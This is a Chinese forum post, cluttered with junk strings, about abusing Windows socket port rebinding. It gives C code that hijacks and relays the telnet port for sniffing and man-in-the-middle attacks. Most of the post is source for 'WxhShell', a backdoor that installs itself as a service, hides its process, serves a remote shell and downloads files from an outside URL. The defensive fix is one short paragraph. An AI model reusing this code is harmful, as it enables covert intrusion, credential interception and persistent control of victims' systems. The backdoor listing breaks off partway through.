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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y]lqtre*Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K$ &wO.  
|]q=D1/A  
  saddr.sin_family = AF_INET; WAa?$"U2  
3dbf!   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 47RYpd  
;1dz?'%V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Chua>p!$g  
wI4;/w>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :qbG%_PJ  
Q*8-d9C  
  这意味着什么?意味着可以进行如下的攻击: 4yA`);r62  
]Rye AJ3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j+9 S  
*I67SBt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .ndQ(B  
jE#8&P~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <C77_t  
X{ =[q|P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DSC4  
p5l$On  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K5>:Wi Y  
[Mz;:/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s]c$]&IGG  
C6w{"[Wv=X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vR$5ItnT  
 ?~.&Y  
  #include 9ojhI=:  
  #include {9".o,  
  #include ra>`J_  
  #include    %?hLo8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ku?_/-ko]  
  int main() pCc7T-"og  
  { _|ib@Xbin  
  WORD wVersionRequested; kDq%Y[6Z  
  DWORD ret; Aa>gN  
  WSADATA wsaData; MPbPq3an  
  BOOL val; 'I]"=O,  
  SOCKADDR_IN saddr; 'cN#rHPB6  
  SOCKADDR_IN scaddr; P@YL.'KU)  
  int err; )|R9mW=k9P  
  SOCKET s; Ra5'x)m36)  
  SOCKET sc; 6# ";W2  
  int caddsize; ~,2hP ~  
  HANDLE mt; SAh054/St  
  DWORD tid;   i[{] LiP  
  wVersionRequested = MAKEWORD( 2, 2 ); f9UaAdJ(  
  err = WSAStartup( wVersionRequested, &wsaData ); ,,@`l\Pgd  
  if ( err != 0 ) { Xp6*Y1Y  
  printf("error!WSAStartup failed!\n"); 5iddB $  
  return -1; X3{1DY3@u  
  } ;Ia1L{472m  
  saddr.sin_family = AF_INET; Pki4wDCTW  
   %:KV2GP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]t)M}^w  
rJZs 5g`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \.P}`Bpa  
  saddr.sin_port = htons(23); !9xANSb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q5nyD/k4c  
  { o?K|[gNi  
  printf("error!socket failed!\n"); h#>L:Wf5E  
  return -1; QX.6~*m1  
  } qMES<UL>  
  val = TRUE; NcBe|qxQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /Jf`x>eiH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^>8]3@ Nh  
  { U?fN3  
  printf("error!setsockopt failed!\n"); #A9_A%_.h  
  return -1; iWM7, =1+  
  } H! r Kz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *rcuhw"^b#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8@yc}~8 *  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >xV<nLf/  
BX(d"z b<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \1mM5r~  
  { =j+oKGkoCa  
  ret=GetLastError(); %}MA5 t]o  
  printf("error!bind failed!\n"); Cxk$"_  
  return -1; 6!%d-Z7)  
  } BQ9`DYIb  
  listen(s,2); .\~P -{Hd  
  while(1) f'6qJk%J  
  { jUJTcL  
  caddsize = sizeof(scaddr); SXBQ  
  //接受连接请求 ~26s7S}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 37 O#aJ,K  
  if(sc!=INVALID_SOCKET) mE^tzyh  
  { W]D`f8r9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L);||]B  
  if(mt==NULL) r($_>TS&"  
  { w <#*O:  
  printf("Thread Creat Failed!\n"); sO6gIPU^  
  break; }.MoDR3\  
  } @ojg`!,  
  } 2&gVZz  
  CloseHandle(mt); tC?A so  
  } sh !~T<yy  
  closesocket(s); ! [|vx!p  
  WSACleanup(); we\b]  
  return 0; F8S~wW=\w  
  }   -.b Io  
  DWORD WINAPI ClientThread(LPVOID lpParam) g\qL}:  
  { W"-EC`nP  
  SOCKET ss = (SOCKET)lpParam; WAwfL?  
  SOCKET sc; JMirz~%ib  
  unsigned char buf[4096]; lbKv  
  SOCKADDR_IN saddr; b#p~F}qT  
  long num; ]@/^_f>D  
  DWORD val; TOco({/_/  
  DWORD ret; #FqFH>-*2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yZ;k@t_WRD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h\=p=M  
  saddr.sin_family = AF_INET; ''(fH$pY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y\)G7 (  
  saddr.sin_port = htons(23); r*i$+ Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \3Q:K |  
  { 8K@"B  
  printf("error!socket failed!\n"); lPRdwg-  
  return -1; .7pGx*WH^Y  
  } Sv~YFS :oy  
  val = 100; 28T\@zi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5W[3_P+  
  { mJ8{lXq3!  
  ret = GetLastError(); W>` g;[ W  
  return -1; {?EEIfg  
  } 6(N.T+;]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jiA5oX^g  
  { t$]&,ucW#  
  ret = GetLastError(); %aj7-K6:t  
  return -1; #*yM2H"7,;  
  } ,J~,ga~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >a&?AP #  
  { !j!Z%]7  
  printf("error!socket connect failed!\n"); 5i!V}hE  
  closesocket(sc); N,j>;x3xT  
  closesocket(ss); 0|+>A?E}E  
  return -1; [{S;%Jj*X/  
  } S|K |rDr0n  
  while(1) n0rerI[R  
  { 0Jm]f/iZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M&uzOK+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Bii6Z@kS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KWFyw>*)  
  num = recv(ss,buf,4096,0); KY4d+~2  
  if(num>0) ? .c?Pu  
  send(sc,buf,num,0); 5Y(r\Dd  
  else if(num==0) 0s 860Kn  
  break; _:wZmZU}  
  num = recv(sc,buf,4096,0); >Hdjsu5{N  
  if(num>0) [ 3$.*   
  send(ss,buf,num,0); t{_!Z(Rt5)  
  else if(num==0) 2Ryp@c&r^  
  break; E^b pckP  
  } eQ$N:]  
  closesocket(ss); '"oo;`g7  
  closesocket(sc); sW;7m[o  
  return 0 ; ]UK`?J=t2g  
  } IYuyj(/!  
$Llta,ULE  
)r ULT$;i@  
========================================================== ^4+r*YvcM  
y7CWBTH0>  
下边附上一个代码,,WXhSHELL (l Lu?NpIi  
i4hJE  
========================================================== @Ppo &>  
?sV[MsOsC  
#include "stdafx.h" .j:i&j(  
Xa4GqV9M/-  
#include <stdio.h> <\h*Zy  
#include <string.h> Uf# PoQ!y  
#include <windows.h> ft{W/ * +_  
#include <winsock2.h> &kb\,mQ  
#include <winsvc.h> Y mq3ty]Pe  
#include <urlmon.h> O'fk&&l  
uii7b 7[w  
#pragma comment (lib, "Ws2_32.lib") [1NaH  
#pragma comment (lib, "urlmon.lib") M /"gf;)q>  
-<6v:Z  
#define MAX_USER   100 // 最大客户端连接数 !&W|myN^  
#define BUF_SOCK   200 // sock buffer 3a'q`.L  
#define KEY_BUFF   255 // 输入 buffer >b'w'"  
m)r]F#@/  
#define REBOOT     0   // 重启 Z)NrhJC  
#define SHUTDOWN   1   // 关机 `"B^{o  
[ dGO,ndE  
#define DEF_PORT   5000 // 监听端口 NW)M?f+6  
sD2 ^_w6j  
#define REG_LEN     16   // 注册表键长度 9X3yp:>V  
#define SVC_LEN     80   // NT服务名长度 t')h{2&&!2  
2sUbiDe-  
// 从dll定义API q?yMa9ZZky  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?!H)zz6y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w$b~x4y%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }S,-uggz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g&bwtEZ  
`0?^[;[u[  
// wxhshell配置信息 $R";  
struct WSCFG { 3EmcYC  
  int ws_port;         // 监听端口 ms7SoY bSu  
  char ws_passstr[REG_LEN]; // 口令 <9`?Z-lJP  
  int ws_autoins;       // 安装标记, 1=yes 0=no lcCJ?!lsSW  
  char ws_regname[REG_LEN]; // 注册表键名 +5-]iKh  
  char ws_svcname[REG_LEN]; // 服务名  [@<G+j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b"t")U==  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mm.Ql  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 847 R   
int ws_downexe;       // 下载执行标记, 1=yes 0=no rCE;'? Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -1CEr_(P^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tn{8u7  
~5ubh2{  
}; O ^0"  
_W|R;Cz]  
// default Wxhshell configuration v J-LPTB  
struct WSCFG wscfg={DEF_PORT, 6|^0_6_  
    "xuhuanlingzhe", EI\v  
    1, E+z18Lf?  
    "Wxhshell", F@1d%c  
    "Wxhshell", V!xwb:J  
            "WxhShell Service", ESIzGaM  
    "Wrsky Windows CmdShell Service", oIR.|=Hk{  
    "Please Input Your Password: ", 5>P7]?U.]  
  1, qOi5WX6F/  
  "http://www.wrsky.com/wxhshell.exe", &n|*uLn  
  "Wxhshell.exe" E=k w)<X2  
    }; -w~(3(  
(]XbPW  
// 消息定义模块 +zsZNJ(U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~.6|dw\p!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^df x~C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +]c}rWm  
char *msg_ws_ext="\n\rExit."; On&L#pf  
char *msg_ws_end="\n\rQuit."; U CRAw3=  
char *msg_ws_boot="\n\rReboot..."; sAYV)w3u"  
char *msg_ws_poff="\n\rShutdown..."; SX+4 HJB  
char *msg_ws_down="\n\rSave to "; @KA1"Wb_  
> :Ze4}(  
char *msg_ws_err="\n\rErr!"; DbtF~`3, .  
char *msg_ws_ok="\n\rOK!"; xnbsg!`;7W  
JKy#j g:#  
char ExeFile[MAX_PATH]; Us-A+)r*!  
int nUser = 0; Hbk&6kS  
HANDLE handles[MAX_USER]; C(o.Cy6  
int OsIsNt; h!e2 +4{4{  
.45^=2NGmQ  
SERVICE_STATUS       serviceStatus; RqLNp?V%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bxwkTKr'  
FVgMmYU  
// 函数声明 (ua q<Cvg  
int Install(void); %hINpZMr  
int Uninstall(void); nU/;2=f<  
int DownloadFile(char *sURL, SOCKET wsh); OJ/SYZ.r  
int Boot(int flag); J?%}=_fsa  
void HideProc(void); L2fVLK H  
int GetOsVer(void); "- eZZEl(  
int Wxhshell(SOCKET wsl); I60DUuF  
void TalkWithClient(void *cs); =Ndli>x}1  
int CmdShell(SOCKET sock); g1 9S  
int StartFromService(void); }+0z,s~0.  
int StartWxhshell(LPSTR lpCmdLine); b/<mRQ{  
F P@qh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O?ktWHUx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wqy ^8N[K]  
8Kk\*8 <  
// 数据结构和表定义 hCC}d0gf`n  
SERVICE_TABLE_ENTRY DispatchTable[] = XoItV  
{ aFY u}kl  
{wscfg.ws_svcname, NTServiceMain}, nbmc[!PwG  
{NULL, NULL} <m-.aK{9  
}; S&?7K-F>_o  
} ` T8A  
// 自我安装 !M;A*:-  
int Install(void) Sj-[%D*  
{ #$'FSy#  
  char svExeFile[MAX_PATH]; 4:1)~z  
  HKEY key; BU6Jyuwn  
  strcpy(svExeFile,ExeFile); {/}^D-  
HY)ESU !  
// 如果是win9x系统,修改注册表设为自启动 6sB$<#  
if(!OsIsNt) { M{G xjmdx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y=2Un).&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2o5;Uz1{  
  RegCloseKey(key); n?E}b$6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CWlW/>yF B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |LmSWy*7  
  RegCloseKey(key); G7-!`-Nk  
  return 0; P`"mM?u  
    } 9y~"|t  
  } Do*n#=  
} !>g:Si"  
else { ;>ozEh#8w  
yn~P{}68  
// 如果是NT以上系统,安装为系统服务 #a,9B-X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C6QbBo  
if (schSCManager!=0) wss?|XCI  
{ <DZcra  
  SC_HANDLE schService = CreateService &erm`Ho  
  ( 9DE)S)e8  
  schSCManager, R^8{bP  
  wscfg.ws_svcname, *H2]H @QHN  
  wscfg.ws_svcdisp, sN/+   
  SERVICE_ALL_ACCESS, N.hzKq][  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DWf$X1M  
  SERVICE_AUTO_START, dGkg aC+  
  SERVICE_ERROR_NORMAL, JP'= UZ'  
  svExeFile, fgCT!s7z  
  NULL, P!<[U!<hH  
  NULL, ngyY  
  NULL, KCtX $XGL  
  NULL, 1;wb(DN*c  
  NULL '6S%9ahE  
  ); 4JO@BV>t  
  if (schService!=0) 3QCVgo i\  
  { (|u31[  
  CloseServiceHandle(schService); :&yDqoQKJ  
  CloseServiceHandle(schSCManager); R$6qoqv{yG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3!#/k+,C  
  strcat(svExeFile,wscfg.ws_svcname); <Ar$v'W=F{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rVzI_zYqp'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); geGeZ5+B  
  RegCloseKey(key); `X -<$x  
  return 0; 8cdsToF(e.  
    } !7 _\P7M  
  } #n7Yr,|Z  
  CloseServiceHandle(schSCManager); FvXqggfGv  
} 2`Gv5}LfyR  
} Tr.hmGU  
'%7 Bxof  
return 1; BD*G1k_q  
} 2\@Z5m3B  
M-MKk:o  
// 自我卸载 GYK\LHCPd  
int Uninstall(void) VKuAO$s$  
{ e!X(yJI[O6  
  HKEY key; <P4 FzK  
W{Z^n(f4  
if(!OsIsNt) { Iti0qnBN5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?R'Y?b  
  RegDeleteValue(key,wscfg.ws_regname); 2@Lb foA  
  RegCloseKey(key); h9CIZU[Nh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZYMw}]#((E  
  RegDeleteValue(key,wscfg.ws_regname); Q5n`F5   
  RegCloseKey(key); 4JMiyiW&  
  return 0; G|4^_`-  
  } 8r:M*25  
} R7_VXvm>z  
} dULS^i@@  
else { =8JB8ZFP  
#R5U   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U A-7nb  
if (schSCManager!=0) 1oY^]OD]W  
{ T>d.#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mP^SS Je  
  if (schService!=0) bcz-$?]  
  { c:\shAM&  
  if(DeleteService(schService)!=0) { PHr a+NY#A  
  CloseServiceHandle(schService); 2qU&l|>  
  CloseServiceHandle(schSCManager); EX "|H.(  
  return 0; WES#ZYtT  
  } ,+1m`9}  
  CloseServiceHandle(schService); RFfIF]~3  
  } 7"2b H  
  CloseServiceHandle(schSCManager); r4{<Z3*N  
} Hfc"L>  
} :td ~g;w  
LN^f1/ b*  
return 1; ]r/^9XaqtA  
} wpo1  
\caH pof  
// 从指定url下载文件 GDhM<bVqM*  
int DownloadFile(char *sURL, SOCKET wsh) ^v ni&sJ  
{ Ciihsm  
  HRESULT hr; WlVl[/qt  
char seps[]= "/"; p{tK_ZBy]c  
char *token; ocQWQ   
char *file; ZxHJ<2oD  
char myURL[MAX_PATH]; oy\B;aAK  
char myFILE[MAX_PATH]; Y`ihi,s`H  
vmZ"o9-{#X  
strcpy(myURL,sURL); ?dq#e9  
  token=strtok(myURL,seps); B!S167Op  
  while(token!=NULL) \~DM   
  { Le#spvV3J|  
    file=token; F4C!CUI  
  token=strtok(NULL,seps); tw K^I6@  
  } M"Y0jQ(  
-,# +`>w  
GetCurrentDirectory(MAX_PATH,myFILE); + ,4" u  
strcat(myFILE, "\\"); "&o,yd%  
strcat(myFILE, file); ~}ovuf=%  
  send(wsh,myFILE,strlen(myFILE),0); uh3) 0.nR  
send(wsh,"...",3,0); b>=_*nw9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !]koSw}  
  if(hr==S_OK) |%7cdMC  
return 0; cDkV;$  
else ;sOsT?)7$  
return 1; @!%n$>p/V  
_M5%V>HO  
} Frm;Ej3?$  
n=sXSxl  
// 系统电源模块 N/F$bv  
int Boot(int flag) pmc=NTr&<  
{ 963aW*r  
  HANDLE hToken; DDd/DAkCX  
  TOKEN_PRIVILEGES tkp; MZ4c{@Tg  
 Lc2QXeo8  
  if(OsIsNt) { \=2m7v#E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); onei4c>@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )}lRd#V  
    tkp.PrivilegeCount = 1; :}}%#/nd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7}o/:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l?qqqB  
if(flag==REBOOT) { k5BXirB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~}9PuYaD@  
  return 0; @cvP0A  
} kBWrqZ6  
else { GF<[}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qd`T5[b\  
  return 0; oOU1{[  
} ,[rPe\w.z  
  } &%=D \YzG  
  else { |`O5Xs1{B  
if(flag==REBOOT) { + %*&.@z_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tD=@SX'Y  
  return 0; 2)0b2QbQ  
} `#s#it'y  
else {  #@.-B,]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^_5|BT@  
  return 0; S -&)p@4  
} ~Qj}ijWD  
} G-um`/<%  
l&(l$@t  
return 1; ,_v|#g@{  
} }^ FulsC  
D)b}f`  
// win9x进程隐藏模块 @E9" Zv-$  
void HideProc(void) 7{kP}?  
{ t;qP']2  
f i~I@KJ>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %Q"(/jm?  
  if ( hKernel != NULL ) (nSml,gU  
  { ,ZE?{G{tuj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k-LEI}h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )q~DTR^z-  
    FreeLibrary(hKernel); eTa y>G  
  } &p(0K4:  
*s4\\Wb=  
return; TV59(bG.2  
} @J 'YV{]  
u0s8yPA  
// 获取操作系统版本 fRZ KEIyk  
int GetOsVer(void) %8.J=B  
{ Q\Kx"Y3i  
  OSVERSIONINFO winfo; N#xG3zZl|N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TYns~X_PR  
  GetVersionEx(&winfo); h:bru:ef  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g(x9S'H3l  
  return 1; d=*x#In  
  else !vD{Df>  
  return 0; G%l u28}D  
} N!&:rK  
F'm(8/A$  
// 客户端句柄模块 1=}qBR#scY  
int Wxhshell(SOCKET wsl) bJ /5|E?  
{ d' >>E  
  SOCKET wsh; &K+0xnUH  
  struct sockaddr_in client; !]` #JAL7  
  DWORD myID; xG2F!WeF  
n'FwM\  
  while(nUser<MAX_USER) R,2P3lv1v@  
{ W;6vpPhg#!  
  int nSize=sizeof(client); dP2irC%f8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e 8\;t"D  
  if(wsh==INVALID_SOCKET) return 1;  Y k7-`  
h@{_duu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [/ M^[p  
if(handles[nUser]==0) H].y w9  
  closesocket(wsh); ow'Vz Ay-  
else &[mZD,  
  nUser++; Y.#:HRtgW  
  } vxQ8t!-u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {LzH&qu  
aolN<u3G  
  return 0; {XurC}#\  
} `lDut1J5n  
 u6u=2  
// 关闭 socket YcX/{L[9o  
void CloseIt(SOCKET wsh) 9Z"+?bv/  
{ FyoEQ%.bI  
closesocket(wsh); bizTd  
nUser--; ?L) !pP]  
ExitThread(0); `?(Bt|<>  
}  $!@\  
`Pn[tuIO  
// 客户端请求句柄 lK'Rn~  
void TalkWithClient(void *cs) 7xo4-fIuT  
{ qSCv )S(  
Z(>'0]G  
  SOCKET wsh=(SOCKET)cs; t+r:"bb  
  char pwd[SVC_LEN];  =SOe}!  
  char cmd[KEY_BUFF]; Scm36sT{  
char chr[1]; '|>9C^E9X  
int i,j; M6r^L6$N  
`fXyWrz-k  
  while (nUser < MAX_USER) { ^rl"rEA  
4M&`$Wim  
if(wscfg.ws_passstr) { o\otgyoh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M]v=-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Qe"pW\  
  //ZeroMemory(pwd,KEY_BUFF); fQK"h  
      i=0; ,6^ znOt  
  while(i<SVC_LEN) { jVgFZ,  
DciwQcG  
  // 设置超时 !}+tdT(y  
  fd_set FdRead; n(nBRCG)o  
  struct timeval TimeOut; 2f`nMW  
  FD_ZERO(&FdRead); ]j~"mFAP  
  FD_SET(wsh,&FdRead); e(F42;$$  
  TimeOut.tv_sec=8; 'V+dBt3  
  TimeOut.tv_usec=0; {yU+)t(.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); . v@>JZC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D<i[LZd  
h0Z{,s}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fEE /-}d  
  pwd=chr[0]; }{9&:!uA  
  if(chr[0]==0xd || chr[0]==0xa) { <mMTD8Sx]  
  pwd=0; "P@>M)-9Z  
  break; jeyLL<  
  } OU4pjiLx  
  i++; 9vNkZ-1  
    } D'l5Zd  
Z|9u]xL  
  // 如果是非法用户,关闭 socket 9mc!bj^811  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0Z<I%<8bK  
} vzel#  
@4(k(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d%I" /8-J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S_T^G` [  
/N>e&e[35\  
while(1) { @;xMs8@  
;R=.iOn  
  ZeroMemory(cmd,KEY_BUFF); Ll4bdz,  
:f5s4N  
      // 自动支持客户端 telnet标准   I-]>d;4.  
  j=0; pu!dqF<  
  while(j<KEY_BUFF) { *{undZ?(>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l:6,QaT1  
  cmd[j]=chr[0]; MC((M,3L  
  if(chr[0]==0xa || chr[0]==0xd) { 6<,dRn  
  cmd[j]=0; n 26Y]7N  
  break; -"Y{$/B  
  } w:Jrmx  
  j++; 22<0DhJ  
    } @\oz4^  
&AuF]VT  
  // 下载文件 < _$%@4 L  
  if(strstr(cmd,"http://")) { 6ZgU"!|r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Glq85S  
  if(DownloadFile(cmd,wsh)) $I#q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yq_LW>|Z  
  else D47R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fl Jp4-nx  
  } S0g'r !;6  
  else { )2UZ% ?V#  
]%uZ\Q;9p  
    switch(cmd[0]) { z|?R/Gf8  
  k *R<,  
  // 帮助 1iL 'V-y  
  case '?': { 'sp-%YlM -  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 133I.XBU  
    break; lT\a2.E  
  } 2eeQ@]Wj[Z  
  // 安装 2#X4G~>#h  
  case 'i': { OI} &m^IOo  
    if(Install()) b,P]9$Ut  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zJ+8FWy:S  
    else H4OhIxK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d_S*#/k  
    break; wOQ#N++C  
    } Y=Z1Tdxa|  
  // 卸载 5dx&Qu'}ZS  
  case 'r': { L.xZ_ 6  
    if(Uninstall()) _4 6X%k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #B'aU#$u  
    else IdIrI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VHOfaCE  
    break; jUj<~:Q}3o  
    } <";,GaZQ  
  // 显示 wxhshell 所在路径 "I;C;}!  
  case 'p': { CV$],BM  
    char svExeFile[MAX_PATH]; j4FeSGa  
    strcpy(svExeFile,"\n\r"); , "jbq~  
      strcat(svExeFile,ExeFile); 5`~mmAUk;`  
        send(wsh,svExeFile,strlen(svExeFile),0); 1\RGM<q$f  
    break; 9 7%0;a8  
    } I O%6 O  
  // 重启 nfb]VN~(  
  case 'b': { E'1+Yq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C\_zdADUb%  
    if(Boot(REBOOT)) Q|}a R:4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X.ONa_  
    else { U,/6;}  
    closesocket(wsh); rA0,`}8\  
    ExitThread(0); UX`]k{Mz  
    } c~A4gtB=  
    break; eZ a:o1y  
